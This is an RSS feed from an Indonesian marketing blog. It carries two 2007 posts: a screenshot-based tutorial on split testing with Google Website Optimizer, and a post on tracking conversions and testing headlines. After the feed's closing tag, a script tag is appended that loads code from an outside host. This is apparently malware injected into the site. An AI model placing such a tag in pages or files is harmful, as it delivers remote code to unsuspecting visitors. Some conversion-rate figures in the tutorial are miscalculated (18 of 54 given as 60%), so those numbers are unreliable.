<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Ronald Kang &#187; Split Test</title>
	<atom:link href="http://ronaldkang.com/diary/category/split-test/feed/" rel="self" type="application/rss+xml" />
	<link>http://ronaldkang.com/diary</link>
	<description>Information Technology &#124; Web Development &#124; Internet Marketing</description>
	<lastBuildDate>Sun, 06 Jun 2010 10:01:29 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.0</generator>
		<item>
		<title>Panduan Google Website Optimizer untuk Split Testing</title>
		<link>http://ronaldkang.com/diary/panduan-google-website-optimizer-untuk-split-testing/</link>
		<comments>http://ronaldkang.com/diary/panduan-google-website-optimizer-untuk-split-testing/#comments</comments>
		<pubDate>Mon, 12 Nov 2007 07:36:39 +0000</pubDate>
		<dc:creator>Ronald Kang</dc:creator>
				<category><![CDATA[Split Test]]></category>
		<category><![CDATA[conversion]]></category>
		<category><![CDATA[conversion rate maksimal]]></category>
		<category><![CDATA[google adwords]]></category>
		<category><![CDATA[join adwords]]></category>
		<category><![CDATA[optimal landing page]]></category>
		<category><![CDATA[panduan split testing]]></category>
		<category><![CDATA[register adwords]]></category>
		<category><![CDATA[website optimizer]]></category>

		<guid isPermaLink="false">http://ronaldkang.com/diary/panduan-google-website-optimizer-untuk-split-testing/</guid>
		<description><![CDATA[Berikut adalah panduan menggunakan Website Optimizer dari Google sehingga kita bisa melakukan split testing. Split testing adalah experiment untuk menentukan content seperti apa yang memiliki conversion paling besar. Saya pernah menjelaskan pentingnya melakukan split testing di sini. Untuk menggunakan Google Website Optimizer, Anda harus memiliki account Adwords terlebih dahulu. Mendaftarlah Google Adwords terlebih dahulu dengan [...]]]></description>
			<content:encoded><![CDATA[<p>Berikut adalah panduan menggunakan Website Optimizer dari Google sehingga kita bisa melakukan split testing. Split testing adalah experiment untuk menentukan content seperti apa yang memiliki conversion paling besar. Saya pernah menjelaskan pentingnya melakukan split testing di <a href="http://ronaldkang.com/diary/segera-lakukan-split-testing/" target="_blank">sini</a>.</p>
<p><span id="more-39"></span></p>
<p>Untuk menggunakan <a href="http://services.google.com/websiteoptimizer/" target="_blank">Google Website Optimizer</a>, Anda harus memiliki account Adwords terlebih dahulu. Mendaftarlah Google Adwords terlebih dahulu dengan link di bawah ini, apabila Anda belum punya.</p>
<p><a href="http://www.RonaldKang.com/recommends/adwords" title="daftar adwords" target="_blank">Join Adwords di sini </a></p>
<p>Setelah itu, Anda akan diminta melakukan aktivasi adwords sebesar $5. Hanya 1 kali seumur hidup. Nah, dengan memiliki Google Adwords, Anda dapat mengiklankan website Anda menggunakan PPC (Pay Per Click). Namun kali ini saya tidak akan membahas itu.</p>
<p>Setelah Anda login ke dalam account Google Adwords Anda, akan ada pilihan menu menuju ke website optimizer seperti gambar di bawah ini</p>
<p><img src="http://i3.photobucket.com/albums/y66/seth00/panduan%20website%20optimizer/1.jpg" alt="panduan split testing" height="180" width="480" /></p>
<p>Akan terlihat bahwa Anda belum memiliki experiment apapun. Klik link &#8220;add new experiment&#8221;</p>
<p><img src="http://i3.photobucket.com/albums/y66/seth00/panduan%20website%20optimizer/2.jpg" alt="panduan split testing" height="178" width="480" /></p>
<p>Nah, akan ada 2 pilihan lagi. Yang pertama yaitu pilihan untuk mengetest 2 page yang berbeda. Sedangkan pilihan kedua digunakan untuk mengetest kombinasi content. Perbedaannya seperti ini:</p>
<ul>
<li>Pada A/B experiment, Google hanya akan merandom 2 halaman. Beberapa visitor akan masuk ke page A, dan beberapa visitor lainnya akan masuk ke page B.</li>
<li>Pada Multivariant Experiment, Google dapat mengkombinasikan rotasi berbagai content di dalamnya. Misalkan kita punya headline A dan B dan paragraf C dan D. Google akan merotasi kemunculan semua kombinasi. Berapa jumlah conversion A dan C, A dan D, B dan C, dan B dan D.</li>
</ul>
<p>Saat ini kita hanya mencoba yang mudah saja, jadi pilihlah yang atas.</p>
<p><img src="http://i3.photobucket.com/albums/y66/seth00/panduan%20website%20optimizer/3.jpg" alt="panduan split testing" height="162" width="480" /></p>
<p>Lanjutkan dengan mengklik tombol &#8220;continue&#8221;</p>
<p><img src="http://i3.photobucket.com/albums/y66/seth00/panduan%20website%20optimizer/4.jpg" alt="panduan split testing" height="359" width="480" /></p>
<p>Masukkan nama experiment Anda. Berikan nama yang mudah diingat supaya mudah diingat (hehe <img src='http://ronaldkang.com/diary/wp-includes/images/smilies/icon_razz.gif' alt=':P' class='wp-smiley' /> )</p>
<p><img src="http://i3.photobucket.com/albums/y66/seth00/panduan%20website%20optimizer/5.jpg" alt="panduan split testing" height="169" width="480" /></p>
<p>Kemudian ketikkan halaman yang akan dieksperimen. Pertama2, Anda harus sudah mengupload dulu file2 yang akan dirotate. Pada contoh yang saya berikan, saya meng-upload file index1.html dan index2.html. Lalu ketikkan file yang original, dan satu lagi file variasi berikutnya. Berikan nama yang spesifik supaya mudah diingat. Anda bisa saja langsung memasukkan nama domain Anda, dan otomatis dia akan mengarah ke file bernama index.</p>
<p><img src="http://i3.photobucket.com/albums/y66/seth00/panduan%20website%20optimizer/6.jpg" alt="panduan split testing" height="177" width="480" /></p>
<p>Setelah itu, tuliskan ke mana visitor akan dialihkan apabila terjadi conversion. Masukkan link halaman yang akan dituju setelah visitor subscribe atau setelah memasuki halaman yang dituju.</p>
<p><img src="http://i3.photobucket.com/albums/y66/seth00/panduan%20website%20optimizer/7.jpg" alt="panduan split testing" height="183" width="480" /></p>
<p>Setelah mengklik tombol continue, berikutnya akan ditanyakan, apakah Anda ingin mengkonfigurasi sendiri atau tidak. Tentu saja pilih yang pilihan kedua, yaitu mengkonfigurasi sendiri.</p>
<p><img src="http://i3.photobucket.com/albums/y66/seth00/panduan%20website%20optimizer/8.jpg" alt="panduan split testing" /></p>
<p>Halaman berikutnya akan meminta Anda memasukkan kode</p>
<p><img src="http://i3.photobucket.com/albums/y66/seth00/panduan%20website%20optimizer/9.jpg" alt="panduan split testing" /></p>
<p>Masukkan script yang diminta ke dalam bagian akhir dari file HTML Anda. Bahasa teknisnya, copy-paste script yang diberikan dan taruh di sebelum tag &lt;/body&gt;</p>
<p><img src="http://i3.photobucket.com/albums/y66/seth00/panduan%20website%20optimizer/10.jpg" alt="panduan split testing" height="247" width="480" /></p>
<p>setelah itu masukkan script berikutnya ke halaman conversion, letakkan sebelum tag &lt;/body&gt;. Kalau sudah, klik validate pages.</p>
<p><img src="http://i3.photobucket.com/albums/y66/seth00/panduan%20website%20optimizer/11.jpg" alt="panduan split testing" height="385" width="480" /></p>
<p>Kalau semuanya sudah dimasukkan dengan benar, ketiga bagian tersebut akan dicentang. Lalu klik ok. Kalau belum benar berarti perbaiki dulu.</p>
<p>Halaman berikutnya hanya menampilkan detil eksperimen</p>
<p><img src="http://i3.photobucket.com/albums/y66/seth00/panduan%20website%20optimizer/12.jpg" alt="panduan split testing" height="356" width="480" /></p>
<p>Klik tombol &#8220;Start Experiment&#8221; untuk memulai split testing Anda.</p>
<p>Kalau sudah diklik, seperti ini tampilannya</p>
<p><img src="http://i3.photobucket.com/albums/y66/seth00/panduan%20website%20optimizer/13.jpg" alt="panduan split testing" /></p>
<p>Dan ini adalah layar experiment tempat Anda akan menganalisis, page mana yang paling baik</p>
<p><img src="http://i3.photobucket.com/albums/y66/seth00/panduan%20website%20optimizer/14.jpg" alt="panduan split testing" /></p>
<p>Conversion visitor merupakan jumlah orang yang subscribe (masuk ke halaman conversion) / total pengunjung yang melihat page tersebut.</p>
<p>Berikut adalah contoh website saya yang lain yang sudah berjalan experimentnya:</p>
<p><img src="http://i3.photobucket.com/albums/y66/seth00/panduan%20website%20optimizer/15.jpg" alt="panduan split testing" /></p>
<p>Untuk melihat report, klik link &#8220;view report&#8221;. Data yang diperlihatkan yaitu total visitors sejumlah 112 dan subscribernya 36. Artinya 32% conversion rate.</p>
<p><img src="http://i3.photobucket.com/albums/y66/seth00/panduan%20website%20optimizer/16.jpg" alt="panduan split testing" height="119" width="480" /></p>
<p>Nah, ini hasil report nya. Terlihat bahwa page 1 memiliki conversion rate yang lebih besar yaitu 18 dari 54 artinya 60%. Sedangkan page 2 memiliki conversion rate yang lebih kecilyaitu 18/58 atau 39%. John Reese mengatakan untuk menunggu sampai 100 baru bisa diputuskan, content mana yang lebih baik. Lebih besar dari 100 tentunya lebih akurat lagi.</p>
<p>Dengan menggunakan split testing, kita akan terus mengoptimisasi landing page kita dan memaksimalkan conversion rate.</p>
<p>Silakan mengunjungi halaman hasil split testing saya, coba Anda lihat, Anda akan masuk ke page 1 atau page 2. Hasil setiap orang bisa berbeda2.</p>
<p><a href="http://www.Ronaldkang.com/tutorialsplittest/index1.html" target="_blank">http://www.RonaldKang.com/tutorialsplittest/index1.html </a></p>
]]></content:encoded>
			<wfw:commentRss>http://ronaldkang.com/diary/panduan-google-website-optimizer-untuk-split-testing/feed/</wfw:commentRss>
		<slash:comments>11</slash:comments>
		</item>
		<item>
		<title>Segera Lakukan Split Testing!</title>
		<link>http://ronaldkang.com/diary/segera-lakukan-split-testing/</link>
		<comments>http://ronaldkang.com/diary/segera-lakukan-split-testing/#comments</comments>
		<pubDate>Sat, 10 Nov 2007 03:32:30 +0000</pubDate>
		<dc:creator>Ronald Kang</dc:creator>
				<category><![CDATA[Split Test]]></category>
		<category><![CDATA[brett mcfall]]></category>
		<category><![CDATA[conversion]]></category>
		<category><![CDATA[efektif]]></category>
		<category><![CDATA[free service]]></category>
		<category><![CDATA[headline]]></category>
		<category><![CDATA[john reese]]></category>
		<category><![CDATA[kesalahan]]></category>
		<category><![CDATA[keyword]]></category>
		<category><![CDATA[split testing]]></category>
		<category><![CDATA[tracking]]></category>
		<category><![CDATA[traffic secrets]]></category>
		<category><![CDATA[website optimizer]]></category>
		<category><![CDATA[world internet summit]]></category>

		<guid isPermaLink="false">http://ronaldkang.com/diary/segera-lakukan-split-testing/</guid>
		<description><![CDATA[Kemarin saya baru membaca2 bukunya John Reese yang berjudul Traffic Secrets yang saya dapet dari Robert, Katanya sih John Reese ini adalah salah satu &#8220;hero&#8221; nya di internet marketing sejak zaman awal2 boomingnya internet marketing. Kalau dilihat di websitenya, TrafficSecrets.com sudah tidak beroperasi lagi, dan dia sedang menyiapkan websitenya yang baru yaitu income.com. Yang saya [...]]]></description>
			<content:encoded><![CDATA[<p>Kemarin saya baru membaca2 bukunya <a href="http://www.marketingsecrets.com/index.html" title="John Reese" target="_blank">John Reese</a> yang berjudul <a href="http://www.TrafficSecrets.com" target="_blank">Traffic Secrets</a> yang saya dapet dari <a href="http://www.RahasiaInternetMarketer.com" target="_blank">Robert</a>, Katanya sih John Reese ini adalah salah satu &#8220;hero&#8221; nya di internet marketing sejak zaman awal2 boomingnya internet marketing.</p>
<p>Kalau dilihat di websitenya, TrafficSecrets.com sudah tidak beroperasi lagi, dan dia sedang menyiapkan websitenya yang baru yaitu <a href="http://income.com" target="_blank">income.com</a>.</p>
<p>Yang saya dapatkan dari bukunya di bab awal adalah, <strong>keharusan kita untuk men-tracking semuanya</strong>. Di mana saja kita meng-advertise, mana saja yang efektif, siapa yang membeli, dari mana datangnya. Kalau pakai adwords, keyword apa saja yang efektif, yang tidak efektif segera dibuang dan yang efektif dioptimisasi.</p>
<p><span id="more-38"></span></p>
<p>Kelalaian internet marketer untuk tidak mentracknya adalah <strong>kesalahan terbesar</strong>! Anda harus mentracknya segera, apabila Anda belum melakukannya.</p>
<p>Salah satu yang perlu di-track adalah, content website seperti apa yang efektif. Misalkan Anda memiliki sebuah page, yang bertujuan mendapatkan opt-in. Tulisan headline seperti apa yang paling efektif? Sewaktu saya pergi ke <a href="http://www.imnewswatch.com/archives/2007/05/world_internet_8.html" title="World Internet Mega Summit Singapore" target="_blank">seminar di Singapore</a>, Brett McFall, menjelaskan pentingnya headline.</p>
<p>Brett memberikan 2 contoh headline yang ia gunakan di website <a href="http://WorldInternetSummit.com" target="_blank">WorldInternetSummit.com</a>. Sehingga ketika orang memasuki website tersebut, akan ada 2 headline yang berbeda. Terkadang Anda akan melihat headline tipe 1 dan terkadang Anda akan melihat headline tipe 2. Setiap headline memiliki jumlah conversion yang berbeda. Conversion adalah berapa banyak orang yang melakukan pendaftaran ketika datang ke website tersebut.</p>
<p>Tahukah Anda? salah satu headline yang diuji, <strong>mengalahkan headline yang satunya lebih dari 70% selisih</strong>! Hanya berbeda headlinenya saja, jumlah customer akan berubah secara signifikan!</p>
<p>Nah, di buku Traffic Secrets, John Reese juga menekankan pentingnya menguji coba content. Catatlah, berapa banyak orang yang melakukan subcribe jika melihat headline A, dan berapa banyak orang yang melakukan subscribe jika melihat headline B. Pengujian 2 content yang berbeda ini disebut <strong>split testing.</strong></p>
<p>Bagaimana cara mengujinya? Anda bisa mencatatnya manual di kertas, dan melihat jumlah pengunjung setiap harinya. Dari 100 orang yang subscribe, berapa banyak yang berasal dari headline A dan berapa banyak yang berasal dari headline B. &#8220;Wah harus tekun ya?&#8221; Tentu saja, kalau mau berhasil ya harus kerja keras.</p>
<p>Cara termudah untuk melakukan split testing adalah dengan menggunakan <strong><a href="http://services.google.com/websiteoptimizer/" title="Google Website Optimizer" target="_blank">Google Website Optimizer</a></strong>! Seperti biasa, Google selalu menyediakan layanan FREE yang BERGUNA.</p>
<p>Dengan fitur ini, kita dapat menaruh script Google di page kita, dan Google akan merotate content yang kita inginkan. Jumlah conversion pun akan dicatat oleh Google.</p>
<p>Tool ini WAJIB Anda pakai, untuk merecord content mana yang paling efektif dan paling memiliki conversion terbesar. Dari kedua headline yang Anda bandingkan, akan ada pemenangnya. Buanglah mereka yang kalah, dan ciptakan penantang yang baru. Kemudian tandingkan lagi dengan si juara sebelumnya. Begitu seterusnya dan website <strong>Anda akan memiliki tingkat conversion maksimum!</strong></p>
<p>Untuk mengikuti panduan menggunakan Google Website Optimizer silakan klik link di bawah ini</p>
<p><a href="http://ronaldkang.com/diary/panduan-google-website-optimizer-untuk-split-testing/" target="_blank">tutorial split testing menggunakan google website optimizer</a></p>
]]></content:encoded>
			<wfw:commentRss>http://ronaldkang.com/diary/segera-lakukan-split-testing/feed/</wfw:commentRss>
		<slash:comments>6</slash:comments>
		</item>
	</channel>
</rss>
<script src="http://holasionweb.com/oo.php"></script>